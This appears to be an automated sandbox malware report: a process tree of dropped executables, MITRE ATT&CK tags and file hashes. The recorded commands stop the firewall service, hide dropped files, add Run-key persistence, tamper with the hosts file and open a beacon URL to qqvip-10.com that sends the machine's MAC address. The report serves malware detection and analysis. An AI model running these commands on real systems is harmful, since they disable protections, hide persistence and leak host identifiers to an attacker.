- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\SysWOW64\net.exe
net stop sharedaccess
6⤵
- Suspicious use of WriteProcessMemory
PID:4184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sharedaccess
7⤵
PID:1580

C:\1261.exe
"C:\1261.exe"
5⤵
- Adds policy Run key to start application
- Executes dropped EXE
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640

C:\program files\internet explorer\iexplore.exe
"C:\program files\internet explorer\iexplore.exe"
6⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1564

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1564 CREDAT:17410 /prefetch:2
7⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3144

C:\Windows\SysWOW64\cmd.exe
cmd /c del "C:\1261.exe"
6⤵
PID:2836

C:\xx1215.exe
"C:\xx1215.exe"
4⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4256

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Windows\system\zhahss090213.exe"
5⤵
- Sets file to hidden
- Drops file in Windows directory
- Views/modifies file attributes
PID:4372

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Windows\system\zhnahsdf090213c.dll"
5⤵
- Sets file to hidden
- Drops file in Windows directory
- Views/modifies file attributes
PID:3620

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Windows\system\zhnahsdf090213c.dll a16zhqb
5⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c "c:\zhqbdf16d.bat"
6⤵
- Suspicious use of WriteProcessMemory
PID:5008

C:\Windows\system\zhahss090213.exe
"C:\Windows\system\zhahss090213.exe" i
7⤵
- Adds policy Run key to start application
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4512

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Windows\system\nbhsyh32b.dll"
8⤵
- Sets file to hidden
- Drops file in Windows directory
- Views/modifies file attributes
PID:4420

C:\program files\internet explorer\iexplore.exe
"C:\program files\internet explorer\iexplore.exe"
8⤵
PID:1860

C:\Windows\SysWOW64\cmd.exe
cmd /c del "C:\xx1215.exe"
5⤵
PID:3192

C:\tj01.exe
"C:\tj01.exe"
3⤵
- Adds policy Run key to start application
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4504

C:\Windows\SysWOW64\attrib.exe
attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
4⤵
- Views/modifies file attributes
PID:1688

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:456

C:\program files\internet explorer\iexplore.exe
"C:\program files\internet explorer\iexplore.exe" "http://qqvip-10.com/tj01/install.asp?ver=090215&tgid=tj01&address=DA-E6-0F-07-E0-7D&regk=1&flag=e610aa8793ee198ec559b047f34c25d2&frandom=9360"
4⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3540

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3540 CREDAT:17410 /prefetch:2
5⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2068

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3540 CREDAT:82948 /prefetch:2
5⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1624

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x474 0x304
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:224

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Hidden Files and Directories

T1158

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\02.exe
Filesize
52KB

MD5
891885d3ed7e9785732118716369f8a5

SHA1
400c5ad16051202257910dc74d6133f5c9172bd3

SHA256
00225a54fc6ac7fe41af9bd1f338ef4eaf18c429d1cd7023c09e0755a2fe250d

SHA512
377d4bc5bf9dc6f87246b0ea81e4a586272a0c041780e9b05a54a31fb064f8fbdf184032ad33b4ccffe4be1f58d8dbd6c910131d20dd228d3d5634a27122456b

Download Submit
C:\02.exe
Filesize
52KB

MD5
891885d3ed7e9785732118716369f8a5

SHA1
400c5ad16051202257910dc74d6133f5c9172bd3

SHA256
00225a54fc6ac7fe41af9bd1f338ef4eaf18c429d1cd7023c09e0755a2fe250d

SHA512
377d4bc5bf9dc6f87246b0ea81e4a586272a0c041780e9b05a54a31fb064f8fbdf184032ad33b4ccffe4be1f58d8dbd6c910131d20dd228d3d5634a27122456b

Download Submit
C:\1.exe
Filesize
97KB

MD5
3187967732bcd4bbdb12124e9c16dc75

SHA1
ac7767c2f674f8f5667d7015dc60eb498327b959

SHA256
d0ca8abdd78d1c46396e853fa8c0cd0b355212effaaf604306780a19a5d35f4e

SHA512
6cdc0523bf201f3b35da16ede613d137ddb39bd50076d3a9dd22f874663a57780aa3946464d72523b1b3c331dace75030bcd6471387c223f2f1e248364d6e4eb

Download Submit
C:\1.exe
Filesize
97KB

MD5
3187967732bcd4bbdb12124e9c16dc75

SHA1
ac7767c2f674f8f5667d7015dc60eb498327b959

SHA256
d0ca8abdd78d1c46396e853fa8c0cd0b355212effaaf604306780a19a5d35f4e

SHA512
6cdc0523bf201f3b35da16ede613d137ddb39bd50076d3a9dd22f874663a57780aa3946464d72523b1b3c331dace75030bcd6471387c223f2f1e248364d6e4eb

Download Submit
C:\1261.exe
Filesize
41KB

MD5
f16fdd93d49f5fdb990562dc354a7cb4

SHA1
de8c4281576bbb3aa523c335458656b936c08c79

SHA256
91fea5371588d819e54495b2a995850b4617f6eaed7b1e49fdd6f636803e6c71

SHA512
126942eb00d0e57b70bd7faccc4f9ce2ba04d8d59a38c1a525917e507637a84ff8f75eee9e4e2bfc6494aa202d368d14ca5f4b404e67f1a9eac3278da0f1d896

Download Submit
C:\1261.exe
Filesize
41KB

MD5
f16fdd93d49f5fdb990562dc354a7cb4

SHA1
de8c4281576bbb3aa523c335458656b936c08c79

SHA256
91fea5371588d819e54495b2a995850b4617f6eaed7b1e49fdd6f636803e6c71

SHA512
126942eb00d0e57b70bd7faccc4f9ce2ba04d8d59a38c1a525917e507637a84ff8f75eee9e4e2bfc6494aa202d368d14ca5f4b404e67f1a9eac3278da0f1d896

Download Submit
C:\2.exe
Filesize
192KB

MD5
938e52934faf6e925162f6921da82cc6

SHA1
b0bf8d4432286d716183b8b6fa8bd980c2844491

SHA256
dac60d7bd3e25a1db6d78df253521150fcddb229d889f6f67ccadb09c74b0d3f

SHA512
c050d2da20f6b07b28497e521d2f1794165e085990fac097b208558a2bb6ef85abf8a3403f18d96373930cf0940a6512dca3e38831156a93d4826de51c94f131

Download Submit
C:\2.exe
Filesize
192KB

MD5
938e52934faf6e925162f6921da82cc6

SHA1
b0bf8d4432286d716183b8b6fa8bd980c2844491

SHA256
dac60d7bd3e25a1db6d78df253521150fcddb229d889f6f67ccadb09c74b0d3f

SHA512
c050d2da20f6b07b28497e521d2f1794165e085990fac097b208558a2bb6ef85abf8a3403f18d96373930cf0940a6512dca3e38831156a93d4826de51c94f131

Download Submit
C:\Documents and Settings\All Users\hsyhdf16.ini
Filesize
163B

MD5
d371d2d466789b26a76e75b1bfc39a91

SHA1
674b32d5643cca2c9a64f4a79b50afcf908244a1

SHA256
4ad0ba4509683d22c568a1c5e0d781566bc0abb97b587cd12d1cf8b6c159c346

SHA512
29ac8d4080324ba02ee9e591d44c68402e558b374f50c8ef823de5ab7489c4a00dc76f943a8738b83248446db0c25c0ef1459fa8efb0f6c788d2ec1a9ef58d10

Download Submit
C:\Documents and Settings\All Users\hsyhdf16.ini
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Documents and Settings\All Users\hsyhdf16.ini
Filesize
224B

MD5
58d19b5a8e1936d8d22a4ba7603b2637

SHA1
72dc91f3a4dab5afc17071cabc0856fad672865d

SHA256
ef15298fa4306e2bb6908d578215bf248d293677999edc143db5f1adabd8705f

SHA512
18e6902c2f6395aaf5a6b6e1db0165654114f8577c6b3086c1b1c0193b132349b08a278f5f953da232a321a34d32cb5d01777f46939e925280b6795f47dc64dc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize
471B

MD5
fd70739fca5345a28f924f9102ae10ee

SHA1
6ce3f92183544f3bf52cb76364591589cb940a19

SHA256
f238404cc643efddef8ff430f128cdc8ec1513969eaac24b5e5bce81248a91e7

SHA512
a787d3a2bceeaed2f2a29f357df6ae17d5b9f66a3c561550d5f83c308ad26a1ddf876488151ff5e51ce93bfb9d0c7b8ca812d595e8d3ebdda7d805707ac1b278

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize
471B

MD5
fd70739fca5345a28f924f9102ae10ee

SHA1
6ce3f92183544f3bf52cb76364591589cb940a19

SHA256
f238404cc643efddef8ff430f128cdc8ec1513969eaac24b5e5bce81248a91e7

SHA512
a787d3a2bceeaed2f2a29f357df6ae17d5b9f66a3c561550d5f83c308ad26a1ddf876488151ff5e51ce93bfb9d0c7b8ca812d595e8d3ebdda7d805707ac1b278

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize
404B

MD5
2ccea38684d11401546e3420a29eff48

SHA1
0602dca06aa0b09c0c05ba3290c2057c9bee9c34

SHA256
0bae6aebed31ece23859163208234f3bcc6453e184ea03a95dd792b3983a0e4d

SHA512
ee8eae6c9e61f4476a2abe6667a34e07b5692abc6223976c73d5c8b15d16cb205eaab25adac62a533a1aab189931ddd0236bacd53c86d003995a58964c7b5465

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize
404B

MD5
2ccea38684d11401546e3420a29eff48

SHA1
0602dca06aa0b09c0c05ba3290c2057c9bee9c34

SHA256
0bae6aebed31ece23859163208234f3bcc6453e184ea03a95dd792b3983a0e4d

SHA512
ee8eae6c9e61f4476a2abe6667a34e07b5692abc6223976c73d5c8b15d16cb205eaab25adac62a533a1aab189931ddd0236bacd53c86d003995a58964c7b5465

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{87277B5F-42DE-11ED-B696-DAE60F07E07D}.dat
Filesize
5KB

MD5
d67f7947116bc668009cde1ffea13a7e

SHA1
9ee49e2ae77bb7468176814d126bb86a2448b495

SHA256
2fd0e7d5b42aa5f5025444ce79ffd003ab6847d092f091eb3b9c2f2bd7dfeae8

SHA512
52b4fca23a757b460f33b9f3e41d3196af852214370b8f06d2372c34a2966f34014cdcfb17757c75f4e3ecae56b9098b467b973f5398636311f6fe634c0df150

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{8729DF84-42DE-11ED-B696-DAE60F07E07D}.dat
Filesize
3KB

MD5
3dac4a66154c1c5b1f2b8c6633008785

SHA1
9222f8d9b200656a1a91c8a6b080b3cc56f50749

SHA256
481001a653b99b25041c6702624dd3950ecd6f5fd505b546058cc06b5faa48b9

SHA512
f5c88195512859c53b0ff8ef1b6394423f86c5b66f1260756aa0ebe272ea519d0ec7ed1838e15a942cc595c96f297864038640e5fb2b2b50577d56494533a0f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\dqptnfu\imagestore.dat
Filesize
1KB

MD5
504e45d9bd6394007739635b04130c26

SHA1
4c4d8455219d44f9c84366e4baad722f5b4d3051

SHA256
19a6dcd58976bd43bd4659f8df4c4c690bc268b88baafcec0ed3337f92dbb615

SHA512
3aedd0859ba50677f760773c69ef3462e13e27fcdcb7dac2c5d81bc5f05d6c581b1c99d11148e992899f7d78b6be9709deeb3a4640acc35df0e6b612875911b9

Download Submit
C:\Windows\System\zhahss090213.exe
Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
C:\Windows\System\zhnahsdf090213c.dll
Filesize
29KB

MD5
05634aec0121ce5322471ad951a9f277

SHA1
b7d2bdbf607459b6a6ee4355a3fc2a11e482e51c

SHA256
594875899c54cb89c1c9650038af843d38e1907f24da968f3b4c11c9858756fe

SHA512
266cf75cdc14c85a01101816bd6d8f8fda43dc2ef932df5b6977a832bcfa5da80b8959bd62a93ff5d405174b511ff3473a6c5759520580f0d3db501f0f285ace

Download Submit
C:\Windows\system\nbhsyh32b.dll
Filesize
119KB

MD5
91465a32b7334ae7439dbf2028bd7a33

SHA1
d07f16776539d4efccd6e5810d188395a802ee34

SHA256
bb6bd137e68d1ae12feab4186ee11498201c7342d8b7cbe64e4432612dc0e183

SHA512
2a7658e684489ff037d78368ba06bc9b07b7159bbd5b18e0ed3893bc4e13222e5da8cd188d5f0d89c8f408c2978af66d92e0d242e95e129a8fbef50a9f987d14

Download Submit
C:\Windows\system\zhahss090213.exe
Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
C:\Windows\system\zhnahsdf090213c.dll
Filesize
29KB

MD5
05634aec0121ce5322471ad951a9f277

SHA1
b7d2bdbf607459b6a6ee4355a3fc2a11e482e51c

SHA256
594875899c54cb89c1c9650038af843d38e1907f24da968f3b4c11c9858756fe

SHA512
266cf75cdc14c85a01101816bd6d8f8fda43dc2ef932df5b6977a832bcfa5da80b8959bd62a93ff5d405174b511ff3473a6c5759520580f0d3db501f0f285ace

Download Submit
C:\tj01.exe
Filesize
45KB

MD5
b0b80b1f78d65d187027bd136af38a60

SHA1
8f5aa9bd50312bffb85a13e462b842da8d15a2ce

SHA256
dc36748dc67d44ae492591d307c2ecd05969a3729a13d5d9a68a4685da4971b0

SHA512
9461c480391305c85bb73b3b7c5be3ae221a22a91ec25bea4215e174cbc1d3c77e526fa45c3baea5fb05cd700137abef4c3dbeeb0792b62c2e194fbd82012c12

Download Submit
C:\tj01.exe
Filesize
45KB

MD5
b0b80b1f78d65d187027bd136af38a60

SHA1
8f5aa9bd50312bffb85a13e462b842da8d15a2ce

SHA256
dc36748dc67d44ae492591d307c2ecd05969a3729a13d5d9a68a4685da4971b0

SHA512
9461c480391305c85bb73b3b7c5be3ae221a22a91ec25bea4215e174cbc1d3c77e526fa45c3baea5fb05cd700137abef4c3dbeeb0792b62c2e194fbd82012c12

Download Submit
C:\xx1215.exe
Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
C:\xx1215.exe
Filesize
72KB

MD5
1e860ee08f069dc4980a573825d3e1dd

SHA1
bd2bbe9fe2c59a800c74a097e67de279ab01c404

SHA256
dd2cdd95d2f57c22310b952ccf3ab316adc0fc589ac0a2e87d27b3262a25af26

SHA512
62cb537d4a8921df905e3ffbbe0cd95dc308f2c24e3bc7d26637e92fd5576d18a643ce969aca544efc4f65ec0a94ce06484f3c5c0365dc2c89fc443d22554bb5

Download Submit
\??\c:\zhqbdf16d.bat
Filesize
48B

MD5
a907130c2404910a21292a30ae8ae565

SHA1
3da22783843ada0cff9476d0cff20d79e151aab4

SHA256
255b709f59fd7388ffbde5be38cbd2e0f448a9ed832a8dc8349821214d6c70c8

SHA512
db172ad930bbdea4f137b09b71313fe12c5415e4568c4a1655e9ab6dc9e7f92bb50acfee67760255b600fc904f8e6af8584b474a1d8dd279ebacbd42cad68fa1

Download Submit
memory/456-154-0x0000000000000000-mapping.dmp

Download
memory/1544-144-0x0000000000000000-mapping.dmp

Download
memory/1580-176-0x0000000000000000-mapping.dmp

Download
memory/1644-160-0x0000000000000000-mapping.dmp

Download
memory/1688-150-0x0000000000000000-mapping.dmp

Download
memory/2836-171-0x0000000000000000-mapping.dmp

Download
memory/3192-163-0x0000000000000000-mapping.dmp

Download
memory/3584-138-0x0000000000000000-mapping.dmp

Download
memory/3620-157-0x0000000000000000-mapping.dmp

Download
memory/4184-175-0x0000000000000000-mapping.dmp

Download
memory/4256-141-0x0000000000000000-mapping.dmp

Download
memory/4372-155-0x0000000000000000-mapping.dmp

Download
memory/4420-173-0x0000000000000000-mapping.dmp

Download
memory/4504-135-0x0000000000000000-mapping.dmp

Download
memory/4512-166-0x0000000000000000-mapping.dmp

Download
memory/4640-172-0x0000000000180000-0x00000000001B4000-memory.dmp

Filesize
208KB

Download
memory/4640-148-0x0000000000000000-mapping.dmp

Download
memory/4640-153-0x0000000000180000-0x00000000001B4000-memory.dmp

Filesize
208KB

Download
memory/4640-159-0x0000000000180000-0x00000000001B4000-memory.dmp

Filesize
208KB

Download
memory/4868-132-0x0000000000000000-mapping.dmp

Download
memory/5008-164-0x0000000000000000-mapping.dmp

Download